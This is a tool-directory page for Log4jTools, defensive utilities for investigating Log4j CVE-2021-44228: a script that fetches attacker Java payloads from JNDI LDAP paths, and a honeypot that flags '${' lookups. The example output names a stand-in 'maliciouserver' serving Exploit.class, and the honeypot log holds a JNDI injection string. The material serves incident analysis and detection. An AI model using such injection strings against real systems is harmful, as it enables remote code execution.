Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Log4jTools — Tools for investigating Log4j CVE-2021-44228 | Kitploit
Tools/GitHubGitHub/malwaretech/log4jtools
Payload GenerationVulnerability AnalysisExploitationInformation GatheringIntrusion Detection
GitHubmalwaretech/log4jtools

Log4jTools

Tools for investigating Log4j CVE-2021-44228

View Repository
94124 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Log4jTools

Tools for investigating Log4j CVE-2021-44228

Bug explanation and Demo

https://www.youtube.com/watch?v=0-abhd-CLwQ

FetchPayload.py (Get java payload from ldap path provided in JNDI lookup).

Requirements: curl (system), requests (python)

Example command:

root@kitploit:~
python FetchPayload.py ldap://maliciouserver:1337/path

[+] getting object from ldap://maliciouserver:1337/path
[+] exploit payload: http://maliciouserver:80/Exploit.class
[+] seeing if attacker left behind un-compile payload http://maliciouserver:80/Exploit.java
[x] failed to find payload Exploit.java
[+] trying to fetch compiled payload http://maliciouserver:80/Exploit.class
[+] found payload and saved to file Exploit.class_

SimpleHoneypot.py (honeypot to catch exploit attempts based on presence of '${' ).

Requirements: python3, asyncore

Example command:

root@kitploit:~
python3 SimpleHoneypot.py

[2021-12-09 13:00:00,000] Possible CVE-2021-44228 Attempt: 127.0.0.1:1111 -> port 8080 - GET /?id=${jdni:ldap://127.0.0.1:1389/hax} HTTP/1.1
Download Tool